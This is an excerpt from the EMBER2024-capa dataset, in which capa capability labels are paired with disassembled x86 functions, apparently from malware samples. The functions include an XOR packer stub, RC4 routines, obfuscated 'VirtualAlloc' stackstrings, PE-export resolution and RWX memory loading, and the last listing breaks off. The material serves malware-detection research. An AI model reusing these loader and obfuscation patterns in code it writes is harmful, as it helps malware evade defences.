joyce8/EMBER2024-capa huggingface dataset:
Function at 0x435450
Capabilities:
Reference sql statements

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4356a5
sub esp, 0x28
mov eax, dword fs:[0x14]
mov eax, dword [eax]
mov dword [esp + 0x20], eax
mov dword [0x7c2c30], 0x2710
lea ecx, [0x58e8a0]
jmp 0x4354a6
mov dword [esp + 0x1c], ecx
mov dword [esp], ecx
call fcn.00448b60
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x108]
mov eax, dword [esp + 0x20]
test ecx, ecx
jne 0x43548c
call fcn.004444d0
call fcn.00409890
nop
lea eax, [0x7e821c]
mov dword [esp], eax
mov dword [esp + 4], 4
mov dword [esp + 8], 4
call fcn.0042da30
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x18]
mov dword [esp], ecx
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], 0xffffffff
call fcn.004359a0
call fcn.004353d0
call fcn.00403300
call fcn.00448930
call fcn.00452ee0
call fcn.00408600
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 0x18]
test byte [eax], al
call fcn.0042daa0
call fcn.00441a20
call fcn.004147e0
nop
nop
lea eax, [0x7c2c18]
mov dword [esp], eax
call fcn.00408ef0
call fcn.0045ae20
mov eax, dword [esp + 4]
mov ecx, dword [esp]
mov dword [0x7c2c0c], eax
mov dword [0x7c2c08], ecx
mov eax, dword [0x7e8260]
mov dword [esp + 0x10], eax
lea ecx, [0x4e7539]
mov dword [esp], ecx
mov dword [esp + 4], 0xa
call fcn.004057c0
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00447d90
mov eax, dword [esp + 8]
movzx ecx, byte [esp + 0xc]
test cl, cl
je 0x435590
test eax, eax
jg 0x435594
mov eax, dword [esp + 0x10]
mov dword [esp], eax
call fcn.0043d8d0
mov eax, dword [esp + 4]
test eax, eax
jne 0x43568e
nop
nop
lea eax, [0x7c2c18]
mov dword [esp], eax
call fcn.004090f0
cmp dword [0x7e84c0], 1
jle 0x4355ea
mov byte [0x7e83b5], 1
mov byte [0x7e83b0], 1
mov ecx, dword [0x7c26e8]
mov dword [esp + 0x24], ecx
mov edx, dword [0x7c26ec]
mov dword [esp + 0x18], edx
xor eax, eax
jmp 0x435685
mov ecx, dword [0x7be92c]
test ecx, ecx
jne 0x435627
mov dword [0x7be92c], 7
mov ecx, dword [0x7e83b0]
test ecx, ecx
jne 0x435616
lea ecx, [0x4e6e2f]
mov dword [0x7be928], ecx
jmp 0x435627
lea edi, [0x7be928]
lea eax, [0x4e6e2f]
call fcn.00459fb0
cmp dword [0x7be954], 1
jne 0x43565d
mov dword [0x7be954], 0
mov ecx, dword [0x7e83b0]
test ecx, ecx
jne 0x435650
mov dword [0x7be950], 0
jmp 0x43565d
lea edi, [0x7be950]
xor eax, eax
call fcn.00459fb0
add esp, 0x28
ret
mov dword [esp + 0x14], eax
mov edx, dword [ecx + eax*4]
test byte [edx], al
add edx, 0xba0
mov dword [esp], edx
call fcn.0042b660
mov eax, dword [esp + 0x14]
inc eax
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x18]
cmp eax, edx
jl 0x435661
jmp 0x4355ea
lea eax, [0x4efbd8]
mov dword [esp], eax
mov dword [esp + 4], 0x2b
call fcn.00432150
nop
call fcn.00458b70
jmp fcn.00435450
Function at 0x459e60
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movd xmm0, dword [esp + 8]
pinsrw xmm0, ebx, 4
pshufhw xmm0, xmm0, 0
movdqa xmm1, xmm0
pxor xmm0, xmmword [0x7e8440]
aesenc xmm0, xmm0
cmp ebx, 0x10
jb 0x45862b
je 0x45867a
cmp ebx, 0x20
jbe 0x458680
cmp ebx, 0x40
jbe 0x4586be
jmp 0x45874f
test ebx, ebx
je 0x458670
add eax, 0x10
test ax, 0xff0
je 0x45865c
movdqu xmm1, xmmword [eax - 0x10]
add ebx, ebx
pand xmm1, xmmword [ebx*8 + 0x512300]
aesenc xmm1, xmm0
aesenc xmm1, xmm1
aesenc xmm1, xmm1
movd dword [edx], xmm1
ret
movdqu xmm1, xmmword [eax + ebx - 0x20]
add ebx, ebx
pshufb xmm1, xmmword [ebx*8 + 0x512400]
jmp 0x458648
aesenc xmm0, xmm0
movd dword [edx], xmm0
ret
movdqu xmm1, xmmword [eax]
jmp 0x458648
pxor xmm1, xmmword [0x7e8450]
aesenc xmm1, xmm1
movdqu xmm2, xmmword [eax]
movdqu xmm3, xmmword [eax + ebx - 0x10]
aesenc xmm2, xmm0
aesenc xmm3, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
pxor xmm2, xmm3
movd dword [edx], xmm2
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0x7e8450]
pxor xmm2, xmmword [0x7e8460]
pxor xmm3, xmmword [0x7e8470]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax]
movdqu xmm5, xmmword [eax + 0x10]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0x7e8450]
pxor xmm2, xmmword [0x7e8460]
pxor xmm3, xmmword [0x7e8470]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax + ebx - 0x40]
movdqu xmm5, xmmword [eax + ebx - 0x30]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
dec ebx
shr ebx, 6
movdqu xmm0, xmmword [eax]
movdqu xmm1, xmmword [eax + 0x10]
movdqu xmm2, xmmword [eax + 0x20]
movdqu xmm3, xmmword [eax + 0x30]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
add eax, 0x40
dec ebx
jne 0x4587ae
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
cmp byte [0x7e81b1], 0
je 0x459e7a
mov eax, dword [esp + 4]
mov ebx, dword [esp + 0xc]
lea edx, [esp + 0x10]
jmp 0x4585f0
jmp fcn.00407a20

Function at 0x45aba0
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, dword [esp + 4]
mov edx, dword [ecx]
mov eax, esp
mov dword [edx + 4], eax
sub eax, 0x10000
mov dword [edx], eax
add eax, 0xba0
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
lea esi, [ecx + 0x30]
mov dword fs:[0x14], esi
mov dword [edx + 0x18], ecx
mov dword [esi], edx
cld
call fcn.00459de0
call fcn.004589e0
ret
Function at 0x5782de
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
pushal
push ebp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add dl, dl
jne 0x5782fb
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x5782ec
add dl, dl
jne 0x578306
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x578352
xor eax, eax
add dl, dl
jne 0x578313
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x5783ef
add dl, dl
jne 0x578322
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x57832d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x578338
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x578343
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x57834d
push edi
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
jmp 0x5782f2
mov eax, 1
add dl, dl
jne 0x578360
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x57836b
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x578357
sub eax, 2
jne 0x57839a
mov ecx, 1
add dl, dl
jne 0x578380
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x57838b
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x578377
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x5782f2
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x5783b1
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x5783bc
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x5783a8
cmp eax, 0x7d00
jae 0x5783df
cmp eax, 0x500
jb 0x5783da
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x5782f2
cmp eax, 0x7f
ja 0x5783e2
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x5782f2
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x57840b
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x5782f2
pop ebp
sub edi, dword [ebp + 0xc]
mov dword [ebp - 4], edi
popal
pop ebp
ret 8

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x53241011
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0xb168c8
nop
nop
nop
nop
test eax, eax
nop
je 0x432084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x102325e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x102781c0], 0x795
mov dword [0x102781cc], 0
mov byte [0x102781d0], 0
mov dword [0x102781c8], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x10232659
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov dword [0x102781c0], 0x9b7
mov dword [0x102781c8], 0
mov ecx, dword [0x102781c4]
add ecx, 0x146c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jmp 0x1023268b
mov eax, dword [ebp - 0x1c]
mov dword [0x102781c0], 0xc9a
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x102781c8]
add eax, 1
mov dword [0x102781c8], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10232659
jmp 0x1023262f
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, 0xf92
mov esi, 0x100
mov dword [0x102781d4], 0
mov dword [0x102781c4], eax
mov eax, dword [0x102781cc]
mov edi, dword [ebp - 0x18]
movzx ebx, byte [edi + ecx]
add ebx, eax
mov eax, ecx
xor edi, edi
mov dword [ebp - 0x28], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add ebx, edx
mov dword [0x102781d4], ebx
mov eax, ebx
cdq
idiv esi
mov dword [0x102781cc], edx
mov dword [0x102781c0], 0x1e22
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + ecx]
mov byte [0x102781d0], bl
mov dword [0x102781c0], 0x112f
mov bl, byte [esi + edx]
mov byte [esi + ecx], bl
mov bl, byte [0x102781d0]
mov ecx, dword [0x102781cc]
mov byte [esi + ecx], bl
mov dword [0x102781c0], 0xa8a
mov dword [0x102781c4], 0xfffffb26
mov ecx, dword [0x102781c8]
add ecx, 1
mov dword [0x102781c8], ecx
cmp ecx, 0x100
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], edx
jl 0x1023268b
jmp 0x10232627
Function at 0x10233190
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [0x102781c0], 0xa55
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x102781c0], 0xa74
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
je 0x1023320d
jmp 0x10233245
mov dword [0x102781c0], 0xfffff436
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x20], eax
je 0x102332b2
jmp 0x102332fc
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov dword [0x102781c0], 0x21ff
mov edx, dword [0x102781c4]
add edx, 0xfffffbd3
mov dword [0x102781c4], edx
mov edx, dword [ebp - 0xc]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], ecx
je 0x10233262
jmp 0x102332fc
mov eax, dword [ebp - 0x14]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x18], eax
jl 0x102331ce
jmp 0x1023320d
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x20], eax
jne 0x102332fc
xor eax, eax
mov dword [0x102781c0], 0xfffffc44
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x20], eax
jne 0x102332fc
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x20], eax
je 0x102331e6
jmp 0x102332fc
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x20], eax
jne 0x102332fc
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff9
shl eax, 1
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov dword [ebp - 0x24], ecx
xor eax, eax
mov ecx, dword [ebp - 0x24]
cmp word [ecx], 0x6c
mov dword [ebp - 0x20], eax
jne 0x102332fc
mov dword [0x102781c0], 0x12d7
mov eax, 1
mov dword [ebp - 0x20], eax
jmp 0x102332fc
mov eax, dword [ebp - 0x20]
add esp, 0x24
pop ebp
ret
Function at 0x10233310
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xc4
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dl, 0x6b
xor esi, esi
lea edi, [ebp - 0x6c]
lea ebx, [ebp - 0x2c]
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0x8c]
mov byte [ebp - 0x8c], 0x56
mov byte [ebp - 0x8b], 0x69
mov byte [ebp - 0x8a], 0x72
mov byte [ebp - 0x89], 0x74
mov byte [ebp - 0x88], 0x75
mov byte [ebp - 0x87], 0x61
mov byte [ebp - 0x86], 0x6c
mov byte [ebp - 0x85], 0x41
mov byte [ebp - 0x84], 0x6c
mov byte [ebp - 0x83], 0x6c
mov byte [ebp - 0x82], 0x6f
mov byte [ebp - 0x81], 0x63
mov byte [ebp - 0x80], 0
mov byte [ebp - 0x7f], 0xc6
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 0xc6
mov dword [0x102781c4], 0xd93
mov dword [0x102781c0], 0x642
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x9c], edi
mov byte [ebp - 0x9d], dl
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa8], esi
jmp 0x102334e0
mov eax, dword [ebp - 0xac]
add eax, 0x1f81
mov dword [0x102781c0], 0x1d80
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xb4], eax
jmp 0x10233589
mov eax, dword [ebp - 0xb8]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x102781c4], 0x1cc2
mov dword [esp], eax
mov ecx, dword [ebp - 0x90]
mov dword [esp + 4], ecx
mov dword [ebp - 0xac], eax
call fcn.10232450
xor eax, eax
mov ecx, dword [ebp - 0xac]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x98]
mov dword [edx + 8], ecx
mov ecx, dword [ebp - 0xac]
mov dword [edx + 0x54], ecx
mov dword [0x102781c0], 0x1b22
mov dword [0x102781c4], 0x10
cmp ecx, 0
mov dword [ebp - 0xb4], eax
je 0x10233589
jmp 0x10233409
mov eax, dword [ebp - 0xa8]
mov cl, byte [ebp - 0x9d]
movsx edx, cl
mov si, dx
mov word [ebp + eax*2 - 0x6c], si
mov edx, eax
add edx, 1
mov cl, byte [ebp + eax - 0x2b]
cmp cl, 0
mov byte [ebp - 0x9d], cl
mov dword [ebp - 0xa8], edx
jne 0x102334e0
xor eax, eax
lea ecx, [ebp - 0x6c]
mov dword [0x102781c4], 0x956
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [ebp - 0xbc], eax
call fcn.10231ec0
mov dword [esp], eax
mov eax, dword [ebp - 0x94]
mov dword [esp + 4], eax
call fcn.102322b0
mov ecx, dword [0x102781c4]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xc0], ecx
xor eax, eax
mov ecx, dword [ebp - 0xc0]
add ecx, 0xffffe8c4
mov dword [0x102781c4], ecx
mov ecx, dword [ebp - 0xb8]
cmp ecx, 0
mov dword [ebp - 0xb4], eax
jne 0x10233435
mov eax, dword [ebp - 0xb4]
add esp, 0xc4
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10233710
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x102781c8], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [0x102781cc], 0
mov dword [0x102781d8], 0
mov dword [0x102781c0], 0x1678
mov eax, dword [ebp - 0x10]
cmp eax, 0
je 0x10233892
jmp 0x10233860
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
mov esi, 0x100
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x102781c8], edx
mov ecx, dword [0x102781c4]
mov edi, ecx
add edi, 0xffffe86c
mov dword [0x102781c0], edi
mov edi, dword [ebp - 0x1c]
movzx ebx, byte [edi + edx]
mov edi, dword [ebp - 0x30]
add ebx, edi
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x102781cc], edx
add ecx, 0xffffe02d
mov dword [0x102781c4], ecx
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x102781d0], cl
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov dword [0x102781c0], 0x12a7
mov cl, byte [0x102781d0]
mov edx, dword [0x102781cc]
mov byte [edi + edx], cl
mov edx, dword [0x102781c8]
movzx edx, byte [edi + edx]
mov ebx, dword [0x102781cc]
movzx ebx, byte [edi + ebx]
add ebx, edx
mov dword [0x102781c0], 0x1110
and ebx, 0xff
mov dword [0x102781d8], ebx
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x2c]
mov ch, byte [edx + ebx]
mov byte [0x102781dd], ch
mov byte [0x102781de], cl
xor ch, cl
mov byte [0x102781dc], ch
mov edx, dword [ebp - 0x18]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x38], ebx
je 0x10233890
jmp 0x10233874
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x20], eax
jmp 0x1023376c
mov eax, dword [0x102781c8]
mov ecx, dword [0x102781cc]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
jmp 0x1023376c
jmp 0x10233892
mov dword [0x102781c0], 0x1361
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10233a40
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xb0
lea eax, [esp + 0x40]
lea ecx, [esp + 0x50]
mov dword [0x102781c0], 0xd9e
mov dword [esp], eax
mov dword [esp + 0x3c], ecx
call fcn.10232770
lea ecx, [esp + 0x50]
mov edx, dword [esp + 0x40]
mov dword [esp + 0x5c], edx
mov dword [esp + 0x64], 0x133200
mov edx, dword [0x102781ac]
mov dword [esp + 0x88], edx
mov edx, dword [0x102781b0]
mov dword [esp + 0xa0], edx
mov edx, dword [0x102781b4]
mov dword [esp + 0x70], edx
mov edx, dword [0x102781b8]
mov dword [esp + 0x60], edx
mov dword [0x102781c0], 0x26c3
mov edx, dword [0x102781bc]
add ecx, 4
mov dword [esp + 0x38], eax
mov dword [esp + 0x34], edx
mov dword [esp + 0x30], ecx
mov eax, 0x1ae7
lea ecx, [0x10233100]
mov edx, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
mov dword [edx], esi
mov dword [0x102781c4], 0x29d7
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], ecx
jmp 0x10233b3b
lea eax, [esp + 0x50]
mov dword [0x102781c0], 0x189e
mov ecx, dword [esp + 0x48]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10233310
mov dword [0x102781c4], 0x1d69
mov ecx, esp
lea edx, [esp + 0x50]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x24], eax
jmp 0x10233be6
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
jne 0x10233b87
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
mov edx, dword [eax + ecx]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], edx
mov eax, dword [esp + 0x14]
cmp eax, 0x4550
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 8], esi
je 0x10233ba6
mov eax, 0xf45
mov ecx, dword [esp + 0x20]
add ecx, 0xfffff000
and ecx, 0xfffff000
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], ecx
jmp 0x10233b3b
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov dword [0x102781c4], eax
mov dword [esp + 0x78], ecx
mov dword [0x102781c0], 0x1b01
mov eax, dword [ecx + edx + 0x50]
mov dword [esp + 0x9c], eax
call fcn.10233190
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x10233af8
mov eax, dword [esp + 0x24]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
Function at 0x40adc0
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00404730
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov dword [ebp - 4], 0
mov eax, dword [0x4170bc]
cmp ebx, eax
jae 0x40adfb
mov eax, ebx
and eax, 0x1f
mov edx, ebx
sar edx, 5
mov edx, dword [edx*4 + 0x4170c0]
test byte [edx + eax*8 + 4], 1
jne 0x40ae0d
mov dword [0x415c84], 9
or eax, 0xffffffff
jmp 0x40af32
push 1
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
je 0x40ae37
push 2
push 0
push ebx
call fcn.00409fd0
add esp, 0xc
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x40ae3f
or eax, 0xffffffff
jmp 0x40af32
mov eax, dword [ebp + 0xc]
mov esi, eax
sub esi, dword [ebp - 8]
test esi, esi
jle 0x40aee4
lea edx, [ebp - 0x1010]
mov ecx, 0x1000
xor eax, eax
push edi
mov edi, edx
rep stosb byte es:[edi], al
pop edi
mov eax, edx
push 0x8000
push ebx
call fcn.0040b330
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, esi
cmp eax, 0x1000
jb 0x40ae8a
mov dword [ebp - 0x1014], 0x1000
jmp 0x40ae92
mov eax, esi
mov dword [ebp - 0x1014], eax
mov eax, dword [ebp - 0x1014]
push eax
lea eax, [ebp - 0x1010]
push eax
push ebx
call fcn.004086d0
add esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
jne 0x40aecb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x40aec5
mov dword [0x415c84], 0xd
or dword [ebp - 4], 0xffffffff
jmp 0x40aed5
mov eax, esi
sub eax, edi
mov esi, eax
test eax, eax
jg 0x40ae75
mov eax, dword [ebp - 0x10]
push eax
push ebx
call fcn.0040b330
add esp, 8
jmp 0x40af20
test esi, esi
jge 0x40af20
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
push ebx
call fcn.00408b00
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
setne al
and eax, 1
dec eax
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40af20
mov dword [0x415c84], 0xd
push 0
mov eax, dword [ebp - 0xc]
push eax
push ebx
call fcn.00409fd0
add esp, 0xc
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4010b2
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x10], 1
pushal
lea esi, [ebp - 0x54]
lea edi, [ebp - 0x10]
push 0
push 0x44
push esi
call fcn.00401048
push 0
push 0x10
push edi
call fcn.00401048
mov dword [ebp - 0x54], 0x44
mov eax, dword [ebp + 8]
cmp dword [ebp + 0xc], 0
je 0x401131
push dword [ebp + 8]
lea edx, [ebp - 0x25c]
push edx
call fcn.0040109c
lea edx, [ebp - 0x25c]
push edx
call fcn.0040105d
